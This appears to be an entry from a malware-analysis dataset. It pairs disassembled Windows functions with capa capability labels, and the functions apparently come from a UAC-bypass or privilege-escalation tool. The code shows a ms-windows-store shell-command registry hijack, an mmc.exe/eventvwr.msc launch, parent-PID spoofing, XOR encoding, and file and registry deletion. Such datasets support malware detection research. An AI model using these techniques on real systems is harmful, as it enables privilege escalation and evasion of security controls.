joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001691f
Capabilities:
Delete file

Disassembly:
jmp 0x14002a7b0
push rbp
push rdi
sub rsp, 0x6f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x126
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x6c8], rax
lea rcx, [0x14007e0d4]
call fcn.140016b68
nop
mov rax, qword [0x140074d18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400161f9
nop
lea rcx, [rbp + 0x30]
call fcn.1400162a3
mov qword [rbp + 8], rax
lea rdx, str.kmkze.msc
lea rcx, [rbp + 0x30]
call fcn.140016af0
nop
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0x410
jae 0x14002a85a
jmp 0x14002a860
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x698]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.readme.html
lea rcx, [rbp + 0x30]
call fcn.140016af0
nop
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0x410
jae 0x14002a8a7
jmp 0x14002a8ad
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x6b8]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.osk.exe
lea rcx, [rbp + 0x30]
call fcn.140016af0
nop
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140053950]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x6c8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x6d8]
pop rdi
pop rbp
ret
Function at 0x140016924
Capabilities:
Delete registry value

Disassembly:
jmp 0x140039790
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x14007eb67]
call fcn.140016b68
nop
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x1400398f4
mov dword [rbp + 0x68], 0x30
mov qword [rbp + 0x70], 0
mov dword [rbp + 0x80], 0x40
lea rax, [rbp + 0x118]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x1400398e6
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x1400398db
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
nop
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
nop
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret

Function at 0x140016942
Capabilities:
Delete file

Disassembly:
jmp 0x140031dd0
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x14007e6df]
call fcn.140016b68
nop
mov edx, 0x410
lea rcx, [rbp + 0x10]
call fcn.140016825
nop
mov rax, qword [0x140074d18]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400161f9
nop
lea rdx, str.update.msu
lea rcx, [rbp + 0x10]
call fcn.140016af0
nop
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14005a510]
call fcn.1400169a6
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x1400169ba
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140021410
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14007dacf]
call fcn.140016b68
nop
cmp qword [rbp + 0x140], 0
je 0x14002144c
cmp dword [rbp + 0x148], 0
jne 0x14002144e
jmp 0x14002149c
mov eax, dword [rbp + 0x150]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movzx eax, byte [rax]
xor eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov eax, dword [rbp + 4]
rol eax, 1
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14002146b
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400169c4
Capabilities:
Delete file
Get common file path

Disassembly:
jmp 0x14002b360
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x778
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x146
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x798]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x748], rax
lea rcx, [0x14007e1da]
call fcn.140016b68
nop
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov r9, qword [rbp + 0x770]
lea r8, str.pe386
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
nop
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140065ec0]
call fcn.1400164e2
test eax, eax
jge 0x14002b408
jmp 0x14002b54c
mov rcx, qword [rbp + 0x88]
call fcn.1400162a3
lea rax, [rax + rax + 0x208]
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.140016695
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14002b445
jmp 0x14002b54c
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
call fcn.1400161f9
nop
lea rdx, str.MicrosoftEvent_ViewerRecentViews
mov rcx, qword [rbp + 0xa8]
call fcn.140016af0
nop
mov rax, qword [0x140074d18]
cmp dword [rax + 8], 0x23f0
jae 0x14002b491
lea rax, [0x140054030]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x20eb
jmp 0x14002b4a3
lea rax, [0x140053aa0]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x583
mov r9d, 0x7a7a7a7a
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0xa8]
call fcn.140016023
test eax, eax
jne 0x14002b4c6
jmp 0x14002b54c
mov rax, qword [0x140074d18]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400161f9
nop
lea rdx, str.mmc.exe
lea rcx, [rbp + 0xf0]
call fcn.140016af0
nop
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, [rbp + 0xf0]
call fcn.140016118
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14002b542
mov edx, 0xc350
lea rcx, str.mmc.exe
call fcn.1400169f1
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002b3cf
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
cmp qword [rbp + 0xa8], 0
je 0x14002b57f
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rcx, qword [rbp + 0xa8]
call fcn.140016c21
nop
xor r9d, r9d
lea r8, str.pe386
xor edx, edx
mov ecx, 1
call fcn.1400160d7
nop
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x748]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x758]
pop rdi
pop rbp
ret
Function at 0x140016a69
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
jmp 0x14003a380
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa78
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa98]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0xa48], rax
lea rcx, [0x14007eb67]
call fcn.140016b68
nop
mov dword [rbp + 4], 1
mov dword [rbp + 0x24], 1
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.1400165af
nop
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x14003a42b
mov r8d, 0x104
lea rdx, [0x1400637b8]
lea rcx, [rbp + 0x2c0]
call fcn.140016983
nop
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
je 0x14003a50f
cmp dword [rbp + 4], 0
je 0x14003a50f
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x90]
call fcn.1400165af
nop
mov r8d, 0x104
lea rdx, [rbp + 0x51c]
lea rcx, [rbp + 0x90]
call fcn.140016983
nop
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
je 0x14003a4db
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x51c]
cmp eax, 0x2e
je 0x14003a4db
lea rcx, [rbp + 0x90]
call fcn.140016a69
test eax, eax
jne 0x14003a4cb
mov dword [rbp + 0x24], 0
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
nop
jmp 0x14003a4f6
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
jne 0x14003a4f6
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rdx, [rbp + 0x4f0]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [rbp + 4], eax
jmp 0x14003a443
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x14003a54c
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x14003a54c
mov dword [rbp + 0x24], 0
mov eax, dword [rbp + 0x24]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140062c90]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0xa48]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0xa58]
pop rdi
pop rbp
ret
Function at 0x140016a6e
Capabilities:
Set registry value

Disassembly:
jmp 0x140027ca0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x14007ddd2]
call fcn.140016b68
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea rdx, [rbp + 8]
xor ecx, ecx
call fcn.14001675d
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140027d16
mov eax, dword [rbp + 0x44]
jmp 0x140027ea1
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ms_windows_store
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027d93
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
lea rdx, str.URL_Protocol
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rdx, str.ms_windows_store
lea rcx, [rbp + 0x90]
call fcn.1400161f9
nop
lea rdx, str._shellopen
lea rcx, [rbp + 0x90]
call fcn.140016af0
nop
lea rdx, [0x14004e560]
lea rcx, [rbp + 0x90]
call fcn.140016af0
nop
lea rdx, str.command
lea rcx, [rbp + 0x90]
call fcn.140016af0
nop
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027e8c
mov rcx, qword [rbp + 0x450]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x450]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14004e75c]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140027e78
mov dword [rbp + 0x44], 0
jmp 0x140027e7f
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x140027e93
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtClose]
nop
mov eax, dword [rbp + 0x44]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004dcd0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret
Function at 0x140016ac3
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
jmp 0x14001f150
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x14007d7c9]
call fcn.140016b68
nop
mov dword [rbp + 4], 0
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x490]
call fcn.1400167f3
test eax, eax
je 0x14001f1df
mov eax, 1
jmp 0x14001f2fb
mov rcx, qword [rbp + 0x490]
call fcn.1400162a3
add rax, 0x108
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
shl rax, 1
mov rcx, rax
call fcn.140016695
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001f216
xor eax, eax
jmp 0x14001f2fb
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
nop
mov r8, qword [rbp + 0x28]
lea rdx, [0x1400464ec]
mov rcx, qword [rbp + 0x68]
call fcn.140016983
nop
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
je 0x14001f2ee
mov eax, dword [rbp + 0x90]
and eax, 0x10
test eax, eax
je 0x14001f2ca
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0xbc]
cmp eax, 0x2e
je 0x14001f2ca
mov rdx, qword [rbp + 0x490]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
nop
lea rdx, [rbp + 0xbc]
mov rcx, qword [rbp + 0x68]
call fcn.140016af0
nop
mov r9, qword [rbp + 0x4a8]
mov r8, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x498]
mov rcx, qword [rbp + 0x68]
call fcn.140016ac3
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001f2ca
jmp 0x14001f2e3
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14001f25c
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rcx, qword [rbp + 0x68]
call fcn.140016c21
nop
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140046360]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x478]
pop rdi
pop rbp
ret
Function at 0x140016b9a
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140037730
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x188]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14007eb67]
call fcn.140016b68
nop
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0x1000
mov dword [rbp + 0x64], 0
mov eax, dword [rbp + 0x24]
mov ecx, eax
call fcn.140016695
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400377a7
xor eax, eax
jmp 0x140037819
lea r9, [rbp + 0x64]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov ecx, dword [rbp + 0x160]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0xc0000004
jne 0x1400377fa
mov rcx, qword [rbp + 8]
call fcn.140016c21
nop
mov eax, dword [rbp + 0x24]
shl eax, 1
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0x20000000
jbe 0x1400377ea
xor eax, eax
jmp 0x140037819
mov eax, dword [rbp + 0x24]
mov ecx, eax
call fcn.140016695
mov qword [rbp + 8], rax
jmp 0x1400377a7
cmp dword [rbp + 0x44], 0
jl 0x140037806
mov rax, qword [rbp + 8]
jmp 0x140037819
cmp qword [rbp + 8], 0
je 0x140037817
mov rcx, qword [rbp + 8]
call fcn.140016c21
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140061260]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x140016c12
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
jmp 0x140028140
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0xc6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x518]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x488], rax
lea rcx, [0x14007ddd2]
call fcn.140016b68
nop
mov dword [rbp + 0x44], 0
mov dword [rbp + 0xa4], 0
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001b
xor r8d, r8d
mov rdx, qword [rbp + 0x4b8]
mov rcx, qword [rbp + 0x4b0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400281d4
jmp 0x14002834e
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x44]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
je 0x140028237
jmp 0x14002834e
cmp dword [rbp + 0x44], 0
jne 0x140028242
jmp 0x14002834e
mov edx, 0x20a
lea rcx, [rbp + 0xd0]
call fcn.140016825
nop
mov dword [rbp + 0x24], 0
jmp 0x140028265
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x44]
cmp dword [rbp + 0x24], eax
jae 0x140028344
mov dword [rbp + 0x84], 0
mov dword [rbp + 0x64], 0x104
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea rax, [rbp + 0x84]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x64]
lea r8, [rbp + 0xd0]
mov edx, dword [rbp + 0x24]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
test eax, eax
jne 0x14002833f
cmp dword [rbp + 0x84], 3
jne 0x140028309
mov rdx, qword [rbp + 0x4c0]
lea rcx, [rbp + 0xd0]
call fcn.140016bbd
test rax, rax
je 0x140028309
lea rdx, [rbp + 0xd0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x140028309
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
mov eax, 2
imul rax, rax, 0
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0x20a
jae 0x140028328
jmp 0x14002832e
call fcn.140016857
nop
xor eax, eax
mov rcx, qword [rbp + 0x478]
mov word [rbp + rcx + 0xd0], ax
jmp 0x14002825d
xor eax, eax
test eax, eax
jne 0x1400281a5
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov eax, dword [rbp + 0xa4]
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14004dea0]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x488]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x498]
pop rdi
pop rbp
ret
Function at 0x140016c30
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x14003b1f0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x278
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x298]
mov rax, qword [0x140074400]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14007eb67]
call fcn.140016b68
nop
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x260]
bts eax, 0x1a
or eax, 0x20
mov dword [rbp + 0x24], eax
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
cmp qword [rbp + 0x270], 0
je 0x14003b288
mov rax, qword [rbp + 0x270]
mov qword [rax], 0
mov edx, 0x18
lea rcx, [rbp + 0x138]
call fcn.140016825
nop
mov edx, 0x70
lea rcx, [rbp + 0xb0]
call fcn.140016825
nop
mov rcx, qword [rbp + 0x250]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x88], rax
mov rcx, qword [rbp + 0x88]
call fcn.140016695
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
je 0x14003b487
mov rdx, qword [rbp + 0x250]
mov rcx, qword [rbp + 0x68]
call fcn.1400161f9
nop
mov dword [rbp + 0xb0], 0x70
mov qword [rbp + 0x88], 0x30
cmp qword [rbp + 0x88], 0x400
jbe 0x14003b317
jmp 0x14003b47d
mov rcx, qword [rbp + 0x88]
call fcn.140016695
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
je 0x14003b46e
lea r9, [rbp + 0x88]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14003b461
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x240]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14003b449
mov dword [rbp + 0xec], 1
movzx eax, word [rbp + 0x268]
mov word [rbp + 0xf0], ax
mov eax, dword [rbp + 0x24]
bts eax, 0x13
lea rcx, [rbp + 0x138]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0xb0]
mov qword [rsp + 0x40], rcx
mov rcx, qword [rbp + 0x258]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14003b449
mov rax, qword [rbp + 0x138]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x270], 0
je 0x14003b43b
mov rax, qword [rbp + 0x270]
mov rcx, qword [rbp + 0x140]
mov qword [rax], rcx
jmp 0x14003b449
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x118], 0
je 0x14003b461
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
nop
mov rcx, qword [rbp + 0x118]
call fcn.140016c21
nop
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x14003b305
mov rcx, qword [rbp + 0x68]
call fcn.140016c21
nop
mov rax, qword [rbp + 0x48]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140062960]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret